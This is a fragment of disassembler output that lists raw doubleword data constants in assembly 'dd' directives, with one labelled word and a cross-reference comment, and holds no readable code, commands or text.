dd 2EE60309h, 72500076h, 7F0D009Ah, 0E7FE1A1Bh, 0C40095A6h
dd 5615220Ch, 99D805F1h, 18B5D1C8h, 0F5B02655h, 0FE736190h
dd 0DD8A0093h, 2C9D9FA7h, 62808291h, 4FC20D1Fh, 0F4EEF802h
dd 442A779Dh, 5ED71750h, 0F310421Dh, 0AC90BF80h, 3598E9FEh
dd 7514324Ch, 0D9BE1900h, 9F2524E8h, 9C209FECh, 842AF3B9h
dd 9CAC869Dh, 5C300D40h, 0DFC0850Ah, 36D5E806h, 0F68C031h
dd 0F08CA4C8h, 98A0DDC9h, 71D94DF8h, 2663F505h, 0E0C01EB3h
dd 596CA4B8h
db 0FAh, 50h
word_505446 dw 2401h ; DATA XREF: ___:off_435DD0o
dd 0B037B22Ch, 984F3EE8h, 1DCC019Ah, 9083E907h, 8D3A8C30h
dd 0F6023003h, 4A19225Ah, 0C8248BC0h, 0EE44C0ECh, 0E4B1513Ah
dd 0CE7F1D00h, 8693D3h, 0C14DE790h, 0FFC246D1h, 0C8352D18h
dd 2E62F5E0h, 408CC074h, 2CF0A624h, 57023876h, 5AB468DFh
dd 0AC45E12h, 4EFCF7B0h, 95766BE2h, 42F40100h, 750BEC4h
dd 0D056223Ch, 100D0247h, 465CACBCh, 0E33D00C2h, 0DF902252h
dd 61E06EAh, 8924E64Eh, 8F5FA109h, 0F350A983h, 0AF447044h
dd 0E7247601h, 8CD7DF9Dh, 0A4209AC8h, 5C0F56D8h, 258269A0h
dd 0D006CF00h, 938EEB76h, 0F9361360h, 3228C1A7h, 4BCF11D8h
dd 886231E1h, 25AA3602h, 0B45CFCD3h, 0C9809501h, 3E2EDE5Dh
dd 78C7784h, 0B88953CCh, 0A819FC8Eh, 68415Ch, 0F46E52A6h
dd 1270EC0h, 2FFF7C2Ah, 6AB7882Bh, 408F2412h, 73C0EA88h
dd 49055508h, 320B34CAh, 3447EDD9h, 0A864ED64h, 3A64904Ch
dd 20708042h, 49B11B4h, 43730117h, 67724DF9h, 1BC4187h
dd 0A9F303B2h, 0AC21ADFBh, 22336C00h, 69DB2455h, 5A3002E8h
dd 0D4646859h, 444DF43Eh, 0EBE18BB4h, 241815Dh, 62B600Ah
dd 0B63F070h, 0C97795B5h, 231E4451h, 0EF534D80h, 49B651h
dd 3C5D27D0h, 5669DA6Ah, 8E1631EAh, 3A36D9h, 4113BE23h
dd 163C0Bh, 0A73545DBh, 2098B82Ch, 5F74360Bh, 0BA8B927h
dd 0F1E8E2DCh, 0F9778048h, 22FDB1B7h, 68950900h, 706EB38h
dd 44819DF8h, 0A5A7F6AFh, 7678CA31h, 1892A7DCh, 8C45CCCh
dd 4CB928E5h, 0AC0FC725h, 0A03B87BDh, 580C89Dh, 27378B58h
dd 0C91C3CE4h, 0C15E620Ch, 2A7BF1B1h, 371FBCBEh, 81CAF288h
dd 0FD5DFFA5h, 38443BB3h, 3604379Ch, 0DDF8E489h, 0D451DB00h
dd 1DF44F52h, 0BD6409CEh, 2019C297h, 960FF86Eh, 83308500h
dd 0A6B72426h, 2C9D2E64h, 0A2370954h, 7F792851h, 8D02C818h
dd 77E75612h, 419C7C2Eh, 7B7ED26h, 0B8742BB1h, 0A25E08Bh
dd 0B691C417h, 780E2C81h, 0DF304027h, 0CE415136h, 3C172C21h
dd 0AAFC8CEh, 80A4AA50h, 66694ACFh, 60B6C006h, 0D8D42F81h
dd 0C7F8E75Bh, 0B901090Eh, 3C5A59B4h, 808AF14Eh, 0A5843026h
dd 2DF28461h, 18205F70h, 1D314CC5h, 0C0175F06h, 800E63C4h
dd 0F8040203h, 0D2E68791h, 5AE52898h, 61508C22h, 0F46020B5h
dd 18900BC3h, 3906AC03h, 568AD92Eh, 4F24A47Ch, 38165B00h
dd 1F00A7C2h, 0AF8083E2h, 0BB0A2F06h, 0B3EE70B8h, 0D5D7E005h
dd 10E0E556h, 5C849ED2h, 881C8446h, 2EF20072h, 97075F19h
dd 0DA05DD0Bh, 0BACC115Eh, 0FC2291CCh, 3C375CFEh, 4A521510h
dd 0E400086Eh, 3A2E0DAh, 3E4A741Fh, 0DFB088h, 1E6F90FDh
dd 6B42627Dh, 0C0953700h, 0CF7B91CDh, 0A0D922F9h, 0BF599CB9h
dd 64002818h, 0FA5498B8h, 6051014Ch, 0CA1221ACh, 7201ADE4h
dd 0CEC9FB9Bh, 46F6A8Bh, 0AC268A88h, 4E692E8h, 4CA24EA0h
dd 0F9C87303h, 0B686642Eh, 2E04F658h, 0B0C0DCA7h, 0BEFA74B8h
dd 15C22494h, 26610036h, 4899B431h, 31B75408h, 8AAE518h
dd 10BF4210h, 248CCB89h, 5F89C31h, 0B68BD40h, 0E6025C6Ch
dd 203C2808h, 6D6A20F0h, 14463EDh, 9A659BFEh, 223EF5B0h
dd 2A1156CCh, 81E8FEF0h, 8C7720AEh, 0B108AF9Fh, 2F68C080h
dd 448CAC29h, 7590E1BCh, 0C6198500h, 18B604ABh, 44A494C2h
dd 0A218E48Ah, 33F1CF00h, 0E7DF6E8Bh, 837E0137h, 0DC34CC5Dh
dd 0D83D0DA1h, 8B0177A8h, 24ADFFE0h, 2F6EAA2Ch, 0EF2380h
dd 39D46F2Ah, 9A13775Ah, 7CA48DC9h, 232904E1h, 0EE74C2A0h
dd 0C0E09482h, 0C3A1A5Dh, 82642F20h, 0E9E0DF6Eh, 2253851Eh
dd 404587CDh, 1FECC4F6h, 40A7097Ah, 2CD59E42h, 1A02168Ch
dd 132B5566h, 0B1C96140h, 2F2EE2E0h, 6402B57Dh, 0B8A94E0Dh
dd 0A89D0487h, 7830C20Ch, 9FA08073h, 892C8CBDh, 32F309FFh
dd 7C78A698h, 17116702h, 0FC50E2E8h, 612F80F4h, 31194CE0h
dd 6A721000h, 2EBEBA34h, 80EE5A6Ch, 6BE9FA10h, 7E420D00h
dd 9BF891F1h, 2246010Ah, 9235EA5Eh, 80287CE5h, 0D621A7B8h
dd 3E6E78E4h, 0F81C5Dh, 233ABD7Eh, 0BEAD8FCBh, 685AB427h
dd 0EA0704h, 0F80C146Eh, 8D5E5FACh, 94EBF9C0h, 1CB79AD8h
dd 0C00625F4h, 698B5A83h, 68B95BB4h, 26ECA402h, 8E6440FAh
dd 12EC9408h, 68760013h, 0DE4B361Ch, 0A8FEF801h, 7B073886h
dd 0A328660h, 0A50C6291h, 0FDBF0C90h, 2F079B91h, 89B86CF7h
dd 90239F00h, 517F4Ah, 54B1340h, 6FC4F9CDh, 52B83072h
dd 791D6100h, 6AF75CD4h, 14970022h, 28664146h, 789083BCh
dd 0C3A528C0h, 0B8B03A87h, 6B8EA15h, 2F0D821Eh, 0B4002024h
dd 0B0FE6FF7h, 0B81AA32Ah, 0F09E8BAh, 0D4AB5280h, 91A70803h
dd 0FAC86AC0h, 304ECF3Ah, 89CB08F2h, 858B0DEAh, 0D0305791h
dd 73006F9Ch, 3EFD322h, 0F712A01h, 767F4643h, 968009EEh
dd 8108C887h, 8E109060h, 12576Bh, 0A501147Ch, 0B084C2F7h
dd 54903260h, 79DF712Ch, 6BE0058h, 77DDAEC1h, 0CB018BF4h
dd 7E95E991h, 0F1A1B407h, 3AD0D504h, 0E6EE0083h, 0F7FF0F8Eh
dd 0A7000B39h, 2E8FBE41h, 33D3172h, 3A0D14AAh, 9BE9B545h
dd 0D220819Ch, 2A51EA28h, 60DF75D8h, 8B2F5902h, 0E090DD10h
dd 237344h, 1E58E767h, 0F7E29165h, 0AF228201h, 0C5E40E14h
dd 98D6C6E0h, 7F410718h, 0C0967B5Ah, 0DE70BD28h, 0A3332A01h
dd 0FCF78E02h, 30F1CAE0h, 0CC781A4Dh, 640277B3h, 0C1B10F92h
dd 0E31DE3F9h, 366A0046h, 0F226FF51h, 0BC7C0156h, 37B33E0Ch
dd 8E305Dh, 0F4D38FC8h, 0D9BD649Eh, 833D8905h, 880FE8AAh
dd 0C3DD4329h, 0DD80CB3h, 14D17032h, 5D7F4000h, 1A0211F7h
dd 0AD98A047h, 34137EFh, 0AF56C011h, 3E148B66h, 2A42EB2h
dd 89D4BB97h, 0F4EEC06Eh, 0A0BD3DE1h, 0C06D751Eh, 3C4872EDh
dd 0DB0C01B3h, 6014F0E7h, 997B7BA5h, 0D07F1820h, 38C29F09h
dd 0A0AD87BCh, 0BDFA29E8h, 118CA02Eh, 0B4E914B8h, 4A01E4ABh
dd 95AA33BCh, 37FC53E1h, 0ADC25E0h, 0B819C200h, 88AE10C9h
dd 0D02D03A9h, 0C86BA867h, 0F41BA1B9h, 2300F05Ah, 29EA4FD6h
dd 1FD98F96h, 3C51DE21h, 69AA1860h, 0B12BA806h, 0FDC12053h
dd 4E00DA6Fh, 137C26E7h, 66A73Ah, 8BCAA68Fh, 0E62FE80Fh
dd 56F84Eh, 5BA497C1h, 0E3AD9DC4h, 9AEBD91Ah, 8203B39h
dd 0C90BC181h, 57001421h, 7EC525ACh, 0E147CF6h, 0D2619CB0h
dd 3F66DCC0h, 1E03E850h, 31E32591h, 6D6AD10Eh, 8953449h
dd 0F91180D3h, 0A00FB971h, 3E74C187h, 0F3AEC740h, 0D1002414h
dd 968780F6h, 127927CBh, 27A5D6Fh, 2D0A8C00h, 0ED953440h
dd 8BF76802h, 4014895Eh, 1EE46F48h, 0CD7DCA90h, 0D5292701h
dd 52C51167h, 11913811h, 151225C6h, 8951DD10h, 0A1ED084Ch
dd 88082928h, 84204F44h, 0E7221122h, 4D285041h, 9E107412h
dd 81518924h, 64F2E429h, 0A9E8413Ch, 0D6FB00DDh, 8D27266Eh
dd 0D8E0FCA4h, 216D39h, 0F1B2562Bh, 167A34Eh, 0B1581B4Dh
dd 0DCB649EEh, 601680Fh, 4FBFC7CEh, 2170B88Ah, 71B100E7h
dd 1A3D1480h, 6A00E3B3h, 5596A2B4h, 1E79EEh, 32973486h
dd 2FDBD729h, 0BDA17500h, 10765CDEh, 852B005Fh, 946EAA9Ch
dd 0A80E5D55h, 0C04A9124h, 596ABDC7h, 652B00EAh, 54D3FBB1h
dd 4500F875h, 7993D1D6h, 70437334h, 7EE64Ch, 0DE6D15F7h
dd 635168D0h, 75193100h, 0DC783A56h, 0D87000BAh, 0A95FE4A8h
dd 2E00320Ah, 0C16506E6h
dd 0C21FDDh, 6EFF5042h, 8AEB61B1h, 0A20A111Ch, 0DC87125Eh
dd 0C7B02402h, 390DA0h, 0DB9DA47Ah, 91A10676h, 0FA8A4E00h
dd 5A1D4B11h, 13EA00B1h, 0C0B8FC50h, 16005C74h, 0CA3D35C2h
dd 0B68F15h, 0BDD74CFBh, 0C52183E0h, 30037426h, 0C880B21Dh
dd 565787DCh, 0F43F0032h, 0A89EC4F6h, 0AB004472h, 0B4ACA394h
dd 4226C7h, 559AF00Dh, 2499A44Bh, 0F18B8C01h, 0C34997A5h
dd 0A2A3C280h, 0BE81DD9Fh, 0C1EA6A00h, 4BB7C7BFh, 0C86D0029h
dd 1F447513h, 6F001227h, 2D2314B8h, 3A430C5Dh, 0F385EF36h
dd 0C6F7D04Ch, 0DD00F8E5h, 44162C6Ch, 3819C676h, 8180EC83h
dd 0C0025D04h, 177D5972h, 3E343Ch, 40B02FF5h, 58E12E62h
dd 0AC800CE9h, 1007E7C6h, 0A24A3500h, 67C074B2h, 61B003F8h
dd 3AD7142Eh, 5FE817ABh, 9B138231h, 260063A5h, 32F93951h
dd 621D0695h, 29F5884Ah, 0E0280200h, 5CB3350Ch, 98420455h
dd 0C0C6B9A4h, 57BBC7E0h, 0B86A0830h, 3D89C5D4h, 1D006C94h
dd 0B2F2171Bh, 0CE24CABEh, 0E2005C85h, 955868B8h, 11FF1F56h
dd 7DFE8084h, 6DEA9924h, 1A3B2D7Dh, 5F6E0071h, 29FCB78Ch
dd 0A2CA0642h, 49C10EF5h, 0B51D1E00h, 436D9FD1h, 367E00D7h
dd 0DA6E214Ch, 0F0768161h, 0D0B43800h, 6AA3B17Bh, 7C3B1868h
dd 1980604Bh, 13F94801h, 0A057C9A2h, 656065E9h, 0DB8D000Eh
dd 334C518Ah, 0B8016D9Ah, 0B344437h, 0B740C26Eh, 0BAE65Fh
dd 9FF89BBFh, 834A369Dh, 0F735A00h, 5358D36Fh, 0D0DD0596h
dd 0BE6893h, 0CA5DB794h, 321EF564h, 7300240Bh, 33FB62D0h
dd 941B0008h, 3561D17Ch, 0F000E097h, 9B1801A4h, 0DEA709h
dd 3902A5EDh, 0C8E4C3D3h, 5D232900h, 6160F6A9h, 3419003Fh
dd 1D02B19Dh, 3B7C63D9h, 0F002A1F0h, 0DF100C77h, 209CAE9Bh
dd 3503601h, 0F6F0C056h, 0AD1E464h, 99F89554h, 0B56CAA00h
dd 516BDBA1h, 94DF012Ch, 0CDAF93CBh, 0BF4406Dh, 9E003355h
dd 0BF2083F4h, 0BBA5017h, 0E76027A6h, 0EA2CA900h, 62247A1Fh
dd 2004C891h, 930806E3h, 42E1EE00h, 0EF09ABh, 797DB36Ch
dd 0FC5135B9h, 444ACB00h, 0C05BA18Dh, 0B14E09F4h, 888191F3h
dd 2084EE90h, 5072FBBCh, 0F618CCECh, 0D620F496h, 4C4BB88Fh
dd 0C9000E55h, 0BD98CB39h, 8300C5B7h, 5F9A4531h, 11F975h
dd 7E78F44Fh, 0B0126A21h, 54980A7Ah, 96AC9700h, 0F08C9318h
dd 90B80B6Eh, 0C380DE8Fh, 55B9AE1Ah, 0FB01A901h, 4982AA11h
dd 7BFF0B9h, 3C004C4Dh, 1447E855h, 0C100CAE5h, 494E0AA7h
dd 0B076A09Eh, 0E4F00090h, 5FFEA95h, 0EE004167h, 9EC9BD8h
dd 33E6201h, 0F196D5F3h, 34E0A843h, 44008950h, 99C00B6Bh
dd 6824D39h, 0D6016D47h, 0BF00D6C3h, 0D3A17A28h, 3C6C53D4h
dd 8CBF205Ch, 87FC3826h, 601EE744h, 0ECD0C0BCh, 0E6000892h
dd 0F412E30Ch, 95E7Ah, 52BC96B3h, 0A4242E42h, 8B60F80Fh
dd 3BDB601Ah, 158739A1h, 0A8E772B8h, 40F6301Fh, 0CB5C236Fh
dd 9D0EB6E2h, 42AB64A5h, 0E026C389h, 71B8DC23h, 0D96200A3h
dd 6F5EC2D3h, 450036B2h, 9512F71Dh, 331EDB5h, 276A9F1Bh
dd 3EC04630h, 201D59CFh, 30445C2h, 35C0FE0Dh, 6124A9h
dd 821ADBECh, 7202D91Bh, 9D9EAA0Eh, 3D3EC4h, 274A8DD5h
dd 1F415B25h, 815F6985h, 3F023B4Bh, 8F9A3084h, 141C1C60h
dd 0F43E3188h, 5628002Ah, 68526E42h, 7F03E046h, 70F36F87h
dd 0FBA7F0EBh, 7A730063h, 4A43900Eh, 0D100133Fh, 0CFE5FCDBh
dd 48A5AF49h, 0F9017405h, 252870E6h, 0FFB8EB90h, 22006AD1h
dd 0E8B0923Bh, 69CDE4h, 5A37811Dh, 0B742EDAEh, 6E195300h
dd 0BDEA857Ch, 0B5101BBh, 0CBD20A5Ch, 14E0FEB3h, 0EB55D0B7h
dd 873360C0h, 3B79CE00h, 477821E8h, 82860033h, 69F111E1h
dd 0B0EB71h, 0E500BBB0h, 65A4A0B5h, 9BCCCEh, 0ADAB83F1h
dd 5E20DA03h, 8C0DA800h, 0DE7D868Dh, 6DF93DB9h, 3457F680h
dd 6ACB8B4Bh, 75009C90h, 6C85B77Ah, 18664DEFh, 21E597FAh
dd 2C0352F8h, 3FB5F8Ch, 410C00A1h, 5753D7A9h, 615C68E0h
dd 0B83A2C25h, 1E282E07h, 0BABA03Fh, 1B0F419h, 61E75E55h
dd 0F853E450h, 6D09973Bh, 807728B2h, 0B9D0B6FCh, 0F5B1077Fh
dd 80FE6589h, 9A5D0629h, 0E98FFC00h, 26054188h, 68774CE5h
dd 6CCCBC00h, 72AC0A9Ch, 7464F012h, 5220A0C0h, 3043592Eh
dd 581CB200h, 0ADCD3D30h, 11F78200h, 6B872553h, 0C780060h
dd 472F88C5h, 75095D9Ch, 209BBE09h, 8F0177C8h, 0C427482Bh
dd 59817773h, 0DF26C8C5h, 9F0C005Ch, 62C4EC8Eh, 6F011A90h
dd 0E083A80Eh, 9B706481h, 0CF8C0173h, 8AF457FEh, 8FF0306Eh
dd 15B6B400h, 0DF5601D4h, 0FBB1CBEh, 9F518096h, 4DCEBFB7h
dd 0AE3EFDE2h, 22FB0349h, 77C1ACB9h, 0D1900E0h, 0CF76BA21h
dd 3700FA5Fh, 7F901F04h, 0F766CCh, 0EA1E0538h, 0E0AC1CDAh
dd 0D7D5BD00h, 0B11AE2C5h, 0D6BE3CE1h, 74F0AF00h, 0A509771Dh
dd 221598C0h, 7305D4Dh, 0F5A1A848h, 8261D05Fh, 0DD00C8A9h
dd 8E1D0129h, 0F816D279h, 0F44D2844h, 6BD40AD8h, 9424F0h
dd 80FC5704h, 0DF00C17Dh, 5489FA68h, 75CFEA8h, 325E95DCh
dd 60DAB2E1h, 4274B880h, 0AC0028F1h, 25BC7E9h, 0E46CBBh
dd 0CE521F65h, 0B82CA9Dh, 3E97BA03h, 0A44A3416h, 0F54E80C0h
dd 4A08607Ah, 63B2B8B1h, 44B44Ch, 773A105Bh, 0A394A7h
dd 4F54859Dh, 0C9015992h, 0BCCD9309h, 0C180071h, 365A39h
dd 0ED9AC24Bh, 3860050Ah, 0A5C54500h, 5B19AFFAh, 638F002Dh
dd 0CCD48058h, 3F022790h, 117D5594h, 544C4C6h, 1366998Fh
dd 0F840E2Ch, 9CA097EBh, 8329E2C8h, 8B7D8E12h, 8C105700h
dd 1F98AFB4h, 4007F56Ch, 0A995401Fh, 0C000DE92h, 13C8AD41h
dd 711B338Ah, 0D4CE5819h, 0B1785800h, 41ECA7C7h, 0A942D0B5h
dd 10735A7Ch, 40D03A1Eh, 2FEE291Dh, 3810CE1Ah, 0DE1C591Bh
dd 52B840BCh, 4737C518h, 4E300E0Ch, 98D605Eh, 0DA32B18Bh
dd 97250C40h, 43F4688h, 6D560254h, 89E48740h, 969DC448h
dd 356F3Bh, 0EE630207h, 1179A9Bh, 2A8DCC38h, 0C013DADDh
dd 0BD01D04Bh, 917C2109h, 0FC600818h, 43AC0077h, 48D1FA53h
dd 0A2008A3Eh, 72D9EDFCh, 0F87E94DBh, 0F7531E4Bh, 0AF7FC0D7h
dd 960107B9h, 7954D0C0h, 5C87DF5Eh, 7B16D647h, 76E00039h
dd 0A171DBA2h, 83026100h, 3D08320Dh, 7B7F6ACh, 11FAB334h
dd 2C710280h, 0F4923740h, 0A685700h, 8CC4BBA6h, 1D57904Ah
dd 402BA774h, 0CF0D91F2h, 0E416D8DDh, 4C83B193h, 1CC4E005h
dd 755F98E1h, 0CFB50B3Dh, 6D80C706h, 0CEB8215Ch, 4A0D0100h
dd 6D1252B6h, 0EC870083h, 0F51B9BBh, 2FF49668h, 0ED67081Ch
dd 15DF8Bh, 773CB0Ch, 482C1684h, 3E1350h, 0C9C7F72Bh, 0A6507D02h
dd 0A20081A0h, 250DC269h, 3F4583DFh, 0E400FF6Bh, 1C394D0h
dd 42008F73h, 130C11E2h, 489CC137h, 8089F45Ch, 0D0F2860h
dd 0E6AB1700h, 0B2988EF7h, 6770F1Bh, 4B402101h, 5FB3054Eh
dd 89929100h, 2B11E47Fh, 2AAF001Ah, 56BD23CCh, 7B00AC66h
dd 0FC8C14D5h, 25E12E3Ah, 6882442Dh, 0DCE19E80h, 733E430h
dd 2E1B2707h, 79501A95h, 1EF7F6E1h, 0C29AB68Fh, 0BBCDEA63h
dd 0B032058h, 0C2A17E03h, 0CE10094Ch, 0DC0059EFh, 0B84E9FC3h
dd 81491600h, 1110451Fh, 0E09004A8h, 834F3BB2h, 63E254A4h
dd 2C1260E4h, 0DEEBh, 0D498E8B8h, 79F9EA8Fh, 5CA60007h
dd 0FFB99739h
dd 0C74C4230h, 9DFEC004h, 66E2674h, 12996AECh, 435CD8B1h
dd 755E003Ch, 0C08D2B79h, 0D9F0BD4Fh, 5744C8C4h, 0DD6B22C0h
dd 0FE0E00C9h, 0AD61E856h, 2C04D201h, 64E95807h, 63F8E0E1h
dd 37F793Ch, 0F8318C9h, 0D788C567h, 2F003AD8h, 0E8E61265h
dd 0D9A553h, 5444D507h, 0F5DE7A10h, 0DCACF801h, 0A6FB0A8Ch
dd 0BCBE3D4h, 6287E893h, 0DE18E700h, 202087Bh, 0C9BFB238h
dd 71C50CDh, 8A69B7E1h, 46110281h, 7349CCA0h, 436020FFh
dd 0DB714F11h, 0EC210003h, 1D0A9FC8h, 2B271459h, 44648031h
dd 3842C117h, 0B3899C95h, 0D400723Dh, 0CFA2633h, 4CA9F600h
dd 0DBC1DF45h, 0E8A149EFh, 8CF9100h, 0B4DACE8Ch, 0C6B2A800h
dd 0BC94ABFEh, 0BFB500E6h, 761C9B9Eh, 0FC05D2A4h, 3AB87AF2h
dd 0E8150C0h, 5FAC0040h, 0ABA5B383h, 73006BA1h, 0F658B771h
dd 0DE55E2h, 0AEDAD3BFh, 0D8448EA2h, 2513341Eh, 5089589h
dd 8381E9E4h, 7E613538h, 1EC2EFDCh, 0B325Ah, 0FDD518C0h
dd 51002D59h, 0BDDF2B07h, 7623E792h, 0F64C0089h, 21EA8DBAh
dd 5A04CD7Bh, 17C35C41h, 1FC7E481h, 0F3184DCh, 10409033h
dd 15EE12C0h, 83003BD7h, 0FD0738Ah, 0FE61B2A9h, 928AC308h
dd 0E8A028B8h, 8100482Bh, 0E9CB5F56h, 0D90E01h, 0A84CC816h
dd 44A4AB3Ah, 0B86A6E00h, 69275AF2h, 0A27B283Dh, 0E5762CC8h
dd 55530009h, 21CF3C0Dh, 0A4691700h, 0EA5CC8EDh, 985403AEh
dd 8AF573E5h, 5BF2E6D0h, 0DE2F4C1Eh, 0B1A787C0h, 9016EBD5h
dd 94B01F92h, 0C466C0CDh, 0D02B615Ch, 93DA7317h, 6E334020h
dd 91F8DDh, 184DD2AEh, 6CDE9DDCh, 20DF8400h, 58EAA4A6h
dd 0B2F22487h, 0BC230BA0h, 0CBD954A0h, 0AE3E20ECh, 0EFB0FE6h
dd 0BB36E083h, 7D3DCACDh, 351D0069h, 0E14C8188h, 2600CC71h
dd 50848938h, 9F673DBh, 0E79F9C82h, 0EFA3A000h, 46011386h
dd 4B47A1F5h, 64D091CAh, 3004009Fh, 978A6253h, 0BB48DA60h
dd 774E0054h, 3B810BA1h, 0BCF10028h, 4884D811h, 0C300BD5Ah
dd 44D2D51Ah, 1A69A93h, 4B675BB1h, 0C02831A8h, 0FB014C0Fh
dd 8FB24F49h, 15D83A22h, 40773Bh, 77F5A29Eh, 95571785h
dd 14290300h, 61968B63h, 0C5A609CAh, 0B4E03E90h, 841EB3EFh
dd 0EDC06D53h, 34ECF7C2h, 6E0B0090h, 0AAA65795h, 4E1E25A8h
dd 0F60098BCh, 0D11693FEh, 8FCC16F1h, 3DC40B4h, 32386502h
dd 8B79F1Eh, 365CD004h, 0FF7FEC7h, 355DD100h, 4420082h
dd 0AD961885h, 4B034E40h, 97198A02h, 5958C0AEh, 9EA609BCh
dd 5003A1E0h, 33C0ABEDh, 711DACA0h, 1A83D9C6h, 0E8242D82h
dd 0B4EB73F9h, 6CEF00C8h, 6178A5DBh, 401D0B8h, 7269B14h
dd 3C703F3Ch, 0F3590047h, 0E5C4B5E1h, 0A8004104h, 0B703ABD7h
dd 0FCF11EDh, 937A56EFh, 36B8A520h, 0A3038B3Eh, 82AED668h
dd 4784C8BBh, 41FE008Fh, 91D8036Fh, 0C600433Fh, 0CD6457A6h
dd 0B86D5C78h, 93B7008Bh, 0A8923EFFh, 61002AE0h, 528AB9FAh
dd 122E3Bh, 0C0E6CC40h, 6B41746h, 10747500h, 3E3D0B3Ch
dd 0E007E20Ch, 0AA910265h, 0A4FA6499h, 0E70094F8h, 8EF6E061h
dd 6CEB29h, 321ACAA8h, 0C41B23F2h, 85BE9E00h, 2034604Dh
dd 0C8CC003Eh, 58454393h, 0D648D2FFh, 80493850h, 0DBD5035Ch
dd 1F4692CBh, 870C4144h, 0B1A0B5E3h, 4083AF8Bh, 22C2F5F0h
dd 0C18F2A12h, 1E8994A4h, 1F44730Bh, 3F5F46D0h, 8F7E186Ch
dd 0D77523Ah, 40C37213h, 1C409AF1h, 1D52AF85h, 4A78F6Bh
dd 0C06CF40Ah, 6AFCD306h, 6EDBA300h, 3302E1ADh, 0C8B7A9Ah
dd 91728D31h, 422A4630h, 5F0084AFh, 0AE7E0D24h, 0F2F8058h
dd 0DCC3527Fh, 87BF2E60h, 0CE007672h, 0CC37CA03h, 6025CF32h
dd 9AF74048h, 0F5065D22h, 72ED87E4h, 0EFB40050h, 432D0104h
dd 0A0EDAA3h, 437AF4E5h, 0E816D0CCh, 0BE87082h, 0C00EF655h
dd 0EF09FCC0h, 0F4E68B00h, 0FA92D7C1h, 0C2A7004Ch, 5EC73696h
dd 0DF3656B5h, 0B9D654h, 0C4A4C089h, 876F33E6h, 5F63F376h
dd 0C1F8ED80h, 183A2A3Bh, 14943147h, 0B5E401Ch, 5B84A9B0h
dd 556512EDh, 5F48007Fh, 1493C416h, 73E06800h, 84BC64B2h
dd 0E76C00F7h, 0E4974B28h, 87FA5039h, 201B0401h, 0E1C7BADDh
dd 0F198830h, 11147546h, 50633947h, 2584FD0Eh, 800F6DF8h
dd 0A1FE97B1h, 0A45CE1B0h, 0B36E230h, 18DEBC28h, 0D83FBCA0h
dd 7B72091Dh, 84F4C501h, 9405DA2Fh, 0F8CDFAC0h, 2BBF0390h
dd 0D79D32E0h, 0DE3CD6E8h, 55E90460h, 1EF2673Bh, 0CEED7AFAh
dd 7C2AAC6Ch, 0CF970293h, 6056250Dh, 5EDFEE80h, 1CCED92h
dd 0CB8C1E2Eh, 82532F0Dh, 6FCF0E21h, 0B3A0A0ABh, 108EB47h
dd 0E538734Eh, 24AA9592h, 0C316E44Ch, 40003FBAh, 4FDEFB3Ch
dd 4858011Ch, 0DD8B0FD3h, 84002FDBh, 0CEB2361h, 2FC300A2h
dd 0F322039Ch, 400796Eh, 27BE86FFh, 60C9F29Ah, 237F181Ch
dd 9F00A80Ah, 5A7BA44Bh, 3EEA61A7h, 787F29D0h, 59061E5Fh
dd 711601C9h, 0D49C2C97h, 0F7001CD7h, 79227E4Eh, 0F8093075h
dd 2ED67C6Eh, 30F6C80Ah, 0F2EFFE50h, 6600D9F8h, 35F0D076h
dd 4E7F0898h, 1EF1077Dh, 18E2B625h, 0B20053EEh, 1BD42688h
dd 1E59FBC0h, 0F27918Fh, 0C7AC76CDh, 7E00FE28h, 23787942h
dd 6080051Ch, 92131840h, 0FCF8D162h, 7B82E800h, 0B7AEEBDBh
dd 0E7792Ch, 0C73FB9DAh, 0D6FE6A84h, 359B6E00h, 8E2D67A0h
dd 0A17FBAh, 0F009A391h, 0F198B764h, 0C28DF4F9h, 0D8E6030Ah
dd 0D9949CCDh, 44B804h, 904198B0h, 8A93E48Ch, 143F148h
dd 266F791Ch, 31BFF689h, 0DA920B02h, 8A603B17h, 8CC3370h
dd 48B0218Fh, 91002703h, 0F9B6BB13h, 0BF3ECA3Ch, 18EF9470h
dd 4BD906B8h, 18604874h, 89D6A6F3h, 6505D579h, 95168A7Ch
dd 3101A803h, 4A300073h, 77625D87h, 48A4226Fh, 0FE920F02h
dd 19331B17h, 7B41082h, 0A3D50092h, 46063104h, 0A90A66BFh
dd 0C8DFD7FEh, 0C291F103h, 1C700093h, 5F547C64h, 0C8001E8Ah
dd 0E3E2F329h, 0DFA3E0Ch, 72C1B998h, 0E1D0C458h, 0D8D081EDh
dd 52074E90h, 80DD1C4Ch, 2560A6A7h, 6ABF5AE0h, 5CD148A4h
dd 0A46D8214h, 4D7FC80Ch, 0D91F4448h, 70E96F78h, 9292060Fh
dd 708F11BEh, 2480B3CBh, 494E6421h, 29DFA300h, 0F997674Bh
dd 0F3070598h, 4020FF03h, 0B2683CF4h, 3D03AA2Fh, 0B5A1D453h
dd 16A352h, 0B23FE121h, 0C0508F66h, 39295314h, 74210F8Ch
dd 6C43D298h, 2EFA9E7h, 5F841681h, 45E09726h, 38C467ABh
dd 0A023A6Ah, 409305F3h, 0AB79B2E8h, 50226D46h, 0B241E300h
dd 3E407B11h, 70597F4Fh, 212760FFh, 9720B9B5h, 6355172Eh
dd 0FC686400h, 1640D4h, 4E96D9BDh, 9A29C27Ah, 0A8A6AD18h
dd 754D661h, 5F53AFF4h, 0E0A7600Dh, 2903C5DBh, 5BD75E70h
dd 0A0E6808Bh, 9AD9C1F0h, 80A9AEA5h, 160CE040h, 71AB6DBAh
dd 3BBF0076h, 684F3D98h, 0A705FA53h, 2B3C2EA0h, 0E86E9000h
dd 81738AA5h, 0F3A424FBh, 0AF5C7E00h, 4698146Bh, 7D333B2Eh
dd 0F5D60B86h, 6D75E128h, 0CAA69000h, 0E451FA88h, 5D662EB8h
dd 68D930EAh, 0A673910Eh, 178464Ch, 0D6D71CB2h, 0E82471FAh
dd 616A014Eh, 4604FC6Bh, 4514E4F7h, 89C04FE8h, 6602238h
dd 4D2017Bh, 0D68D9C48h, 0C6715Eh, 35DBE644h, 0A5E31C03h
dd 90D0DA80h, 22B75EC9h, 0F47E7312h, 6081C106h, 793984DBh
dd 0ABD5061Ch, 713EF757h, 7C200B00h, 0D9583936h, 0FEA200A7h
dd 0AAB8B542h, 0AE1F1A17h
dd 56C0F4CEh, 0FF451277h, 7F8A3026h, 84CCB51h, 0B700EB73h
dd 4422E309h, 1108AB8h, 9A37D3A4h, 8051FF23h, 990D681h
dd 983282h, 6B491750h, 0AFAC66EBh, 0D7F16502h, 0A0760768h
dd 4806D4ECh, 0FC557808h, 44E14D96h, 8153C607h, 469340E6h
dd 8F061AADh, 0AB77EB31h, 0F4843039h, 285EF2A1h, 193F850Eh
